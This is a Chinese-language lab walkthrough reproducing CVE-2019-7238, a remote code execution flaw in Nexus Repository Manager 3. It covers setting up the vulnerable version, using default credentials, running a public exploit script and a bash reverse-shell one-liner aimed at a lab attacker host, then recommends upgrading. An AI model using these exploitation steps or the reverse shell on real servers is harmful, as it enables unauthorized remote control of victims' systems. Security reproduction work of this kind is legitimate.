0X1 漏洞概述
Nexus Repository Manager是Sonatype公司的一个产品,简称NXRM,它是一款通用的软件包仓库管理服务,可以简单的理解为Maven的私服。
2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。
漏洞影响版本包括
Nexus Repository Manager OSS/Pro 3.6.2-3.14.0
0X2 环境搭建
漏洞环境安装包下载链接
https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3
在这里,我们下载nexus-3.13.0-01-unix.tar.gz安装包。
在Ubuntu16中配置好java环境,然后解压安装包之后,在nexus-3.13.0-01/bin/目录中启动环境
./nexus run
浏览器访问
http://172.16.1.137:8081
至此,环境就搭建成功了!
0X3漏洞利用
环境的默认账户密码是admin/admin123,登录之后,上传一个任意jar文件。而真实环境则不需要,因为真实环境已经上传了assert。如下图所示。
然后下载漏洞利用脚本
https://github.com/mpgn/CVE-2019-7238
运行脚本之后,执行反弹shell脚本:
bash -i >& /dev/tcp/172.16.1.180/12345 0>&1
漏洞利用成功!
漏洞稍微有些鸡肋,因为在Zoomeye和shodan上搜索发现很多的环境上并没有部署jar包,所以导致难以利用,但是对于部署此应用的企业来讲,还是尽快加固升级到最新版最安全。
0X4漏洞总结
网上已经有很多分析的文章了在,故在此就不多做分析了,可以参考一些paper进行漏洞跟踪学习。
https://paper.seebug.org/827/
https://xz.aliyun.com/t/4136
https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-%E5%88%86%E6%9E%90-%E3%80%90CVE-2019-7238%E3%80%91/